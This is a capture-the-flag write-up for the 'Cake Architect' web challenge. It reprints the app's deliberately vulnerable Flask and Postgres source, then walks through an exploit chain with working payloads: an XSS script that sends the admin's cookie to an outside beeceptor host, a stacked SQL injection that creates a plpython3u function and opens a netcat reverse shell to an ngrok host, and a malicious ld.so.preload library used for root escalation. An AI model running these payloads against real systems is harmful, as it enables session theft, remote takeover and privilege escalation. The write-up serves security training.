BrunnerCTF - Cake Architect
- Introduction
- Enumeration
- Exploitation
- Privesc
Introduction
Description
Difficulty: Hard
We’ve exhausted all possible ideas regarding baking recipes. Please help us design a new cake! The user flag is in a file called user.txt.
Enumeration
Reading Source Code
Source code was provided with the challenge description:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ tree
.
├── app
│ ├── admin_bot.py
│ ├── app.py
│ ├── database.py
│ ├── init_db.sql
│ ├── static
│ │ └── js
│ │ └── admin.js
│ ├── templates
│ │ ├── admin.html
│ │ ├── cake_builder.html
│ │ ├── dashboard.html
│ │ ├── index.html
│ │ ├── login.html
│ │ ├── report_issue.html
│ │ ├── signup.html
│ │ └── view_cake.html
│ └── utils.py
├── cake_logger
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.db
└── requirements.txt
Dockerfile.db
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
FROM postgres:15-bookworm
RUN apt-get update && \
apt-get install -y postgresql-plpython3-15 curl netcat-traditional python3 && \
rm -rf /var/lib/apt/lists/*
RUN echo "brunner{<USER>...}" > /user.txt
RUN chown postgres:postgres /user.txt
RUN echo "brunner{<ROOT>...}" > /root/root.txt
RUN chmod 400 /root/root.txt
COPY cake_logger /usr/local/bin/cake_logger
RUN chmod +x /usr/local/bin/cake_logger
RUN chown root:root /usr/local/bin/cake_logger
RUN chmod 4755 /usr/local/bin/cake_logger
COPY /app/init_db.sql /docker-entrypoint-initdb.d/init_db.sql
Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
FROM python:3.12-slim-bookworm
ENV PYTHONUNBUFFERED=1
# Install system dependencies
RUN apt-get update && apt-get install -y \
postgresql-client \
postgresql-plpython3-15 \
&& rm -rf /var/lib/apt/lists/*
# Set working directory
WORKDIR /app
# Copy requirements and install Python dependencies
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# Install Playwright browsers
RUN playwright install-deps
RUN playwright install chromium
# Copy application code
COPY ./app .
# Expose port
EXPOSE 5000
# Start the application
CMD ["python", "app.py"]
docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
services:
db:
build:
context: .
dockerfile: Dockerfile.db
environment:
POSTGRES_DB: cake_db
POSTGRES_USER: postgres
POSTGRES_PASSWORD: 871576ad349c9b16620685b58ab569ce
ports:
- "5432:5432"
web:
build: .
ports:
- "5000:5000"
environment:
FLASK_ENV: development
POSTGRES_PASSWORD: 871576ad349c9b16620685b58ab569ce
restart: unless-stopped
app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
from flask import Flask, render_template, request, jsonify, session, redirect, url_for, flash
import os
# Import our modules
from utils import get_or_generate_admin_password, login_required, admin_required
from database import (
init_db_pool, wait_for_db, setup_users, setup_sample_cakes,
get_user_by_credentials, create_user, get_user_cakes, get_cake_by_id,
save_cake, get_all_users, calculate_nutrition
)
from admin_bot import start_admin_bot
app = Flask(__name__)
app.secret_key = os.urandom(64).hex()
app.config['SESSION_COOKIE_HTTPONLY'] = False
# Routes
@app.route('/')
def index():
if 'user_id' in session:
return redirect(url_for('dashboard'))
return render_template('index.html')
@app.route('/signup', methods=['GET', 'POST'])
def signup():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
email = request.form.get('email')
if not username or not password or not email:
flash('All fields are required', 'error')
return render_template('signup.html')
# Basic validation
if len(username) < 3 or len(password) < 6:
flash('Username must be at least 3 characters and password at least 6', 'error')
return render_template('signup.html')
if create_user(username, email, password):
flash('Account created successfully! Please log in.', 'success')
return redirect(url_for('login'))
else:
flash('Registration failed', 'error')
return render_template('signup.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
flash('Username and password are required', 'error')
return render_template('login.html')
user = get_user_by_credentials(username, password)
if user:
session['user_id'] = user[0]
session['username'] = user[1]
session['role'] = user[2]
flash('Login successful!', 'success')
return redirect(url_for('dashboard'))
else:
flash('Invalid username or password', 'error')
return render_template('login.html')
@app.route('/logout')
def logout():
session.clear()
flash('Logged out successfully', 'success')
return redirect(url_for('index'))
@app.route('/dashboard')
@login_required
def dashboard():
cakes = get_user_cakes(session['username'])
return render_template('dashboard.html', cakes=cakes, user=session)
@app.route('/cake/<int:cake_id>')
@login_required
def view_cake(cake_id):
cake = get_cake_by_id(cake_id)
if not cake:
flash('Cake not found', 'error')
return redirect(url_for('dashboard'))
# Check if user can view this cake
if not cake[5] and cake[4] != session['username'] and session.get('role') != 'admin':
flash('Access denied', 'error')
return redirect(url_for('dashboard'))
return render_template('view_cake.html', cake=cake, user=session)
@app.route('/report-issue', methods=['GET', 'POST'])
@login_required
def report_issue():
if request.method == 'POST':
cake_id = request.form.get('cake_id')
issue_description = request.form.get('issue_description')
if not cake_id or not issue_description:
flash('Cake ID and issue description are required', 'error')
return render_template('report_issue.html')
try:
# Validate cake_id is numeric
if not cake_id.isdigit():
flash('Invalid Cake ID format', 'error')
return render_template('report_issue.html')
base_url = 'http://localhost:5000'
cake_url = f"{base_url}/cake/{cake_id}"
start_admin_bot(cake_url, admin_pass)
flash('Issue reported successfully! An admin will review it soon.', 'success')
return redirect(url_for('dashboard'))
except Exception as e:
print(f"❌ Report issue error: {e}")
flash('Failed to process the issue report', 'error')
return render_template('report_issue.html')
@app.route('/admin')
@admin_required
def admin_dashboard():
users = get_all_users()
return render_template('admin.html', users=users)
@app.route('/admin/calculate-nutrition', methods=['POST'])
@admin_required
def calculate_nutrition_route():
cake_id = request.json.get('cake_id', 0)
result = calculate_nutrition(cake_id)
if result is None:
return jsonify({'error': 'Procedure failed or not found'}), 400
return jsonify({'result': result})
@app.route('/cake-builder')
@login_required
def cake_builder():
return render_template('cake_builder.html')
@app.route('/api/save-cake', methods=['POST'])
@login_required
def save_cake_api():
data = request.get_json()
name = data.get('name', '')
ingredients = data.get('ingredients', {})
instructions = data.get('instructions', '')
if not name or not ingredients:
return jsonify({'error': 'Name and ingredients are required'}), 400
if save_cake(name, ingredients, instructions, session['username']):
return jsonify({'status': 'success', 'message': 'Cake saved successfully'})
else:
return jsonify({'error': 'Failed to save cake'}), 400
if __name__ == '__main__':
if wait_for_db():
init_db_pool()
# Set up initial data
admin_pass = get_or_generate_admin_password()
setup_users(admin_pass)
setup_sample_cakes()
app.run(host='0.0.0.0', debug=True)
else:
print("Failed to start application due to database connection issues")
app/database.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
import psycopg2
import psycopg2.pool
import time
import json
from utils import hash_password
# Database configuration
DB_CONFIG = {
'dbname': 'cake_db',
'user': 'postgres',
'password': '871576ad349c9b16620685b58ab569ce',
'host': 'db',
'port': 5432
}
db_pool = None
def init_db_pool():
"""Initialize database connection pool"""
global db_pool
try:
db_pool = psycopg2.pool.SimpleConnectionPool(
minconn=1,
maxconn=20,
**DB_CONFIG
)
print("Database connection pool initialized successfully")
except Exception as e:
print(f"Failed to initialize database pool: {e}")
db_pool = None
def get_db():
"""Get a database connection from the pool"""
global db_pool
if db_pool is None:
return psycopg2.connect(**DB_CONFIG)
return db_pool.getconn()
def return_db(conn):
"""Return a database connection to the pool"""
global db_pool
if db_pool is not None:
db_pool.putconn(conn)
else:
conn.close()
def wait_for_db():
"""Wait for database to be ready"""
max_retries = 30
retry_count = 0
while retry_count < max_retries:
try:
conn = psycopg2.connect(**DB_CONFIG)
conn.close()
print("Database is ready!")
return True
except psycopg2.OperationalError:
print(f"Database not ready, retrying... ({retry_count + 1}/{max_retries})")
retry_count += 1
time.sleep(2)
print("Failed to connect to database after maximum retries")
return False
def setup_users(admin_pass):
"""Set up initial users in the database"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
# Create admin user
admin_password_hash = hash_password(admin_pass)
cur.execute("""
INSERT INTO users (username, email, password, role)
VALUES (%s, %s, %s, %s)
ON CONFLICT (username) DO NOTHING
""", ('admin', 'admin@cakearchitect.com', admin_password_hash, 'admin'))
conn.commit()
print(f"✅ Admin user created with password: {admin_pass}")
except Exception as e:
print(f"❌ Error setting up users: {e}")
if conn:
conn.rollback()
finally:
if conn:
return_db(conn)
def setup_sample_cakes():
"""Set up sample cakes in the database"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
# Sample cakes
cakes = [
{
'name': 'Classic Chocolate Cake',
'ingredients': {"flour": "2 cups", "sugar": "1 cup", "cocoa": "1 cup"},
'instructions': 'Mix dry ingredients, add wet ingredients, bake at 350F for 30 minutes',
'created_by': 'admin',
'is_public': True
},
{
'name': 'Vanilla Sponge Cake',
'ingredients': {"flour": "1 cup", "sugar": "1 cup", "eggs": "3"},
'instructions': 'Beat eggs and sugar, fold in flour, bake at 325F for 25 minutes',
'created_by': 'admin',
'is_public': True
}
]
for cake in cakes:
ingredients_json = json.dumps(cake['ingredients'])
cur.execute("""
INSERT INTO cakes (name, ingredients, instructions, created_by, is_public)
VALUES (%s, %s, %s, %s, %s)
ON CONFLICT DO NOTHING
""", (cake['name'], ingredients_json, cake['instructions'], cake['created_by'], cake['is_public']))
conn.commit()
print("✅ Sample cakes created")
except Exception as e:
print(f"❌ Error setting up cakes: {e}")
if conn:
conn.rollback()
finally:
if conn:
return_db(conn)
def get_user_by_credentials(username, password):
"""Get user by username and password"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
hashed_password = hash_password(password)
cur.execute("SELECT id, username, role FROM users WHERE username = %s AND password = %s",
(username, hashed_password))
return cur.fetchone()
except Exception as e:
print(f"Error getting user: {e}")
return None
finally:
if conn:
return_db(conn)
def create_user(username, email, password, role='user'):
"""Create a new user"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
hashed_password = hash_password(password)
cur.execute("INSERT INTO users (username, email, password, role) VALUES (%s, %s, %s, %s)",
(username, email, hashed_password, role))
conn.commit()
return True
except Exception as e:
print(f"Error creating user: {e}")
if conn:
conn.rollback()
return False
finally:
if conn:
return_db(conn)
def get_user_cakes(username):
"""Get cakes for a user (their own + public ones)"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT id, name, created_by FROM cakes WHERE created_by = %s OR is_public = true",
(username,))
return cur.fetchall()
except Exception as e:
print(f"Error getting cakes: {e}")
return []
finally:
if conn:
return_db(conn)
def get_cake_by_id(cake_id):
"""Get a cake by ID"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT id, name, ingredients, instructions, created_by, is_public FROM cakes WHERE id = %s", (cake_id,))
return cur.fetchone()
except Exception as e:
print(f"Error getting cake: {e}")
return None
finally:
if conn:
return_db(conn)
def save_cake(name, ingredients, instructions, created_by):
"""Save a new cake"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
ingredients_json = json.dumps(ingredients)
cur.execute("INSERT INTO cakes (name, ingredients, instructions, created_by) VALUES (%s, %s, %s, %s)",
(name, ingredients_json, instructions, created_by))
conn.commit()
return True
except Exception as e:
print(f"Error saving cake: {e}")
return False
finally:
if conn:
return_db(conn)
def get_all_users():
"""Get all users for admin panel"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT id, username, email, role, created_at FROM users ORDER BY created_at DESC")
return cur.fetchall()
except Exception as e:
print(f"Error getting users: {e}")
return []
finally:
if conn:
return_db(conn)
def calculate_nutrition(cake_id):
"""Calculate nutrition for a cake"""
conn = None
try:
conn = get_db()
cur = conn.cursor()
query = f"SELECT ingredients FROM cakes WHERE id = {cake_id}"
cur.execute(query)
plan = cur.fetchall()
if not plan:
return json.dumps({"error": "Cake not found"})
# Handle both JSON string and already parsed dict
ingredients_data = plan[0][0]
if isinstance(ingredients_data, str):
ingredients = json.loads(ingredients_data)
else:
ingredients = ingredients_data # Already a dict
total = 0
for ing in ingredients:
# Extract the quantity from strings like "2 cups", "1 cup", "3"
quantity_str = ingredients[ing].split(' ')[0]
try:
total += int(quantity_str)
except ValueError:
# If we can't parse as int, try to extract number from string
import re
numbers = re.findall(r'\d+', quantity_str)
if numbers:
total += int(numbers[0])
return json.dumps({
"cake_id": cake_id,
"calculated": {
"calories": total * 50,
"fat": total * 2,
"protein": total * 1.5
}
})
except Exception as e:
return json.dumps({"error": str(e)})
finally:
if conn:
return_db(conn)
app/templates/view_cake.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ cake[1] }} - Cake Architect</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
<style>
.sidebar {
min-height: 100vh;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
}
.cake-detail {
border: none;
border-radius: 15px;
box-shadow: 0 5px 15px rgba(0,0,0,0.1);
}
.ingredient-item {
background: #f8f9fa;
border-radius: 8px;
padding: 10px;
margin: 5px 0;
}
</style>
</head>
<body>
<div class="container-fluid">
<div class="row">
<!-- Sidebar -->
<nav class="col-md-3 col-lg-2 d-md-block sidebar collapse">
<div class="position-sticky pt-3">
<div class="text-center mb-4">
<i class="fas fa-birthday-cake fa-2x text-white mb-2"></i>
<h5 class="text-white">Cake Architect</h5>
</div>
<ul class="nav flex-column">
<li class="nav-item">
<a class="nav-link text-white" href="/dashboard">
<i class="fas fa-home me-2"></i>
Dashboard
</a>
</li>
<li class="nav-item">
<a class="nav-link text-white" href="/cake-builder">
<i class="fas fa-plus me-2"></i>
Create Cake
</a>
</li>
<li class="nav-item">
<a class="nav-link text-white" href="/report-issue">
<i class="fas fa-exclamation-triangle me-2"></i>
Report Issue
</a>
</li>
{% if user.role == 'admin' %}
<li class="nav-item">
<a class="nav-link text-white" href="/admin">
<i class="fas fa-cog me-2"></i>
Admin Panel
</a>
</li>
{% endif %}
<li class="nav-item">
<a class="nav-link text-white" href="/logout">
<i class="fas fa-sign-out-alt me-2"></i>
Logout
</a>
</li>
</ul>
</div>
</nav>
<!-- Main content -->
<main class="col-md-9 ms-sm-auto col-lg-10 px-md-4">
<div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-3 border-bottom">
<h1 class="h2">Cake Details</h1>
<div>
<a href="/dashboard" class="btn btn-secondary me-2">
<i class="fas fa-arrow-left me-2"></i>Back to Dashboard
</a>
<a href="/report-issue" class="btn btn-warning">
<i class="fas fa-exclamation-triangle me-2"></i>Report Issue
</a>
</div>
</div>
{% with messages = get_flashed_messages(with_categories=true) %}
{% if messages %}
{% for category, message in messages %}
<div class="alert alert-{{ 'danger' if category == 'error' else 'success' }} alert-dismissible fade show" role="alert">
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
{% endfor %}
{% endif %}
{% endwith %}
<div class="row">
<div class="col-12">
<div class="card cake-detail">
<div class="card-header">
<h3>{{ cake[1] | safe }}</h3>
<p class="text-muted mb-0">Created by: </p>
</div>
<div class="card-body">
<div class="row">
<div class="col-md-6">
<h5><i class="fas fa-list me-2"></i>Ingredients</h5>
<div id="ingredients-list">
<!-- Ingredients will be loaded here via JavaScript -->
</div>
</div>
<div class="col-md-6">
<h5><i class="fas fa-clipboard-list me-2"></i>Instructions</h5>
<div class="border rounded p-3 bg-light">
{{ cake[3] | safe if cake[3] else 'No instructions provided.' }}
</div>
</div>
</div>
<hr>
<div class="d-flex justify-content-between align-items-center">
<div>
<span class="badge bg-primary">Cake #</span>
{% if cake[5] %}
<span class="badge bg-success">Public</span>
{% else %}
<span class="badge bg-warning">Private</span>
{% endif %}
</div>
<div>
<button class="btn btn-outline-success" onclick="copyCakeUrl()">
<i class="fas fa-share me-2"></i>Share
</button>
</div>
</div>
</div>
</div>
</div>
</div>
</main>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
<script>
// Load and display ingredients
document.addEventListener('DOMContentLoaded', function() {
const ingredients = JSON.parse('{{ cake[2] | tojson | safe }}');
const ingredientsList = document.getElementById('ingredients-list');
if (ingredients && typeof ingredients === 'object') {
for (const [ingredient, amount] of Object.entries(ingredients)) {
const ingredientDiv = document.createElement('div');
ingredientDiv.className = 'ingredient-item';
ingredientDiv.innerHTML = `<strong>${ingredient}:</strong> ${amount}`;
ingredientsList.appendChild(ingredientDiv);
}
} else {
ingredientsList.innerHTML = '<p class="text-muted">No ingredients listed.</p>';
}
});
function copyCakeUrl() {
const cakeUrl = window.location.href;
navigator.clipboard.writeText(cakeUrl).then(() => {
alert('Cake URL copied to clipboard!');
}).catch(err => {
console.error('Failed to copy cake URL: ', err);
alert('Failed to copy cake URL.');
});
}
</script>
</body>
</html>
Identifying vulnerabilities
- The flask
session
cookie is NOT HTTP Only - There is an admin bot that visits “Show Cake” pages that we submit
- We can create “Cakes” pages
- The “Show cake” page is vulnerable to XSS, because data is inserted without sanitization, and shown with
| safe
which means: “Disable every automatic protections”. - The admin have access to an endpoint that is vulnerable to SQLi,
calculate_nutrition(cake_id)
directly does"SELECT ingredients FROM cakes WHERE id = {cake_id}"
with cake_id a user supplied value. - The
postgresql-plpython3-15
module is installed in theDocker.db
, which means we can execute python via postgresql, that means that every SQLi can be escalated to an RCE.
Exploitation
Get admin
Since we do not have access to the SQLi vulnerable endpoint because we’re not admin, we’ll start by stealing the admin session
cookie. To do so, we need to signup, then login, to get access to this page:
We hit the “New cake” button on the top-right corner. I will use this beeceptor endpoint to capture the token, and this simple XSS payload:
1
2
3
<script>
window.location.href = "https://cookiestealer.free.beeceptor.com?cookie=" + btoa(document.cookie)
</script>
Our newly created cake has the id number 10:
Let’s report this cake to the admin:
Reporting the trapped show cake page
And here we go! Now we just have to base64 decode it, and add it in Ctrl + Shift + I, then to the storage
tab
SQLi to RCE
Ok, so now, we have access to the admin dashboard, and we have access to the SQLi vulnerable thing. As I said earlier, postgresql-plpython3 is installed, so it’es basically auto RCE. I’ll use this payload, from OWASP, to weaponize my SQLi into an RCE via arbitrary python execution:
1
2
• CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu
• SELECT proxyshell(os command)
Get reverse shell
I adapted the payload to get a reverse-shell:
1
1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpython3u; SELECT proxyshell('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.tcp.eu.ngrok.io 13818 >/tmp/f');
I end the first query, use the CREATE FUNCTION
thing to create my RCE function, then call it using a SELECT
statement.
User flag
1
brunner{XSS_y0UR_w4y_T0_Pyth0N3_1N_P0sTgR35?!}
Privesc
Stabilizing Shell
Ok now to the most difficult part ! I start by stabilizing my shell:
1
2
3
4
$ python3 -c "import pty; pty.spawn('/bin/bash')"
postgres@ctf-cake-architect-user-dc97708dd266a162-5ffbff8cc9-sjl4j:~/data$ export TERM=xterm
postgres@ctf-cake-architect-user-dc97708dd266a162-5ffbff8cc9-sjl4j:~/data$ PS1="\u \w $ "
postgres ~/data $
Ctrl + Z
1
2
3
4
❯ stty raw -echo && fg
[1] + 53186 continued nc -nvlp 4444
postgres ~/data $
And we’re good to go.
Abusing /usr/local/bin/cake_logger
As you may have noticed, there is a custom root SUID binary called cake_logger
added by the Dockerfile.db. Let’s try to execute it:
1
2
3
4
5
6
7
postgres ~/data $ ls -lah /usr/local/bin/cake_logger
-rwsr-xr-x. 1 root root 16K Aug 21 06:32 /usr/local/bin/cake_logger
postgres ~/data $ /usr/local/bin/cake_logger
Usage:
To add recipe: /usr/local/bin/cake_logger <recipe_file> <recipe_text>
To create shortcut: /usr/local/bin/cake_logger -link <source_recipe> <link_path>
Unfortunately we can’t write to a file that is not owned by us:
1
2
3
postgres / $ /usr/local/bin/cake_logger /etc/passwd "root::0:0::/root:/bin/bash"
Checking if you can modify the recipe...
This recipe doesnt belong to you!
And we can’t override files using the symlink options:
1
2
3
4
5
postgres /dev/shm $ echo "root::0:0::/root:/bin/bash" > my_new_passwd
postgres /dev/shm $ /usr/local/bin/cake_logger -link my_new_passwd /etc/passwd
Creating a shortcut to your recipe...
Failed to create recipe shortcut: File exists
Fortunately, we can create symlinks as root (so basically everywhere in the filesystem), as long as that doesn’t override an already existing files. I noticed that /etc/ld.so.preload
wasn’t existing on the victim machine, so we can create a fake one to get easy privesc. Let’s do this:
First create the malicious .so library:
1
2
3
4
5
6
7
8
9
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
void _init() {
if (geteuid() != 0) return;
chmod("/bin/bash", 04755);
unlink("/etc/ld.so.preload");
}
If this .so library gets executed as root it’s game over! Let’s compile it:
1
❯ gcc -fPIC -shared -nostartfiles -o root.so root.c
I copied it in /dev/shm/malicious_lib.so
on the victim machine:
1
2
postgres / $ ls -la /dev/shm/malicious_lib.so
-rw-------. 1 postgres postgres 14184 Aug 23 14:37 /dev/shm/malicious_lib.so
Now we gotta create the /etc/ld.so.preload
file. It should be a text file containing the path to our .so
library:
1
postgres / $ echo "/dev/shm/malicious_lib.so" > /dev/shm/ld.so.preload
Now, using the cake_logger
link functionnality, I create a symlink from /etc/ld.so.preload
to /dev/shm/ld.so.preload
:
1
2
3
4
5
6
7
8
9
postgres / $ cake_logger -link /dev/shm/ld.so.preload /etc/ld.so.preload
Creating a shortcut to your recipe...
Shortcut created successfully! Now you can access your recipe from multiple places.
postgres / $ ls -la /etc/ld.so.preload
lrwxrwxrwx. 1 root postgres 22 Aug 23 14:47 /etc/ld.so.preload -> /dev/shm/ld.so.preload
postgres / $ cat /etc/ld.so.preload
/dev/shm/malicious_lib.so
Finally, we just have to execute a random SUID binary, since all SUID binaries are executed as root !
1
2
3
4
5
6
7
8
postgres / $ ls -la /bin/bash
-rwxr-xr-x. 1 root root 1265648 Apr 18 22:47 /bin/bash
postgres / $ # mount is an SUID binaries
postgres / $ mount > /dev/null
postgres / $ ls -la /bin/bash
-rwsr-xr-x. 1 root root 1265648 Apr 18 22:47 /bin/bash
Root flag
1
2
3
4
5
6
postgres / $ /bin/bash -p
bash-5.2# ls /root
root.txt
bash-5.2# cat /root/root.txt
brunner{Wh4T_t1M3_15_1T?_FL4G_0_CL0CK!!}
bash-5.2#
1
brunner{Wh4T_t1M3_15_1T?_FL4G_0_CL0CK!!}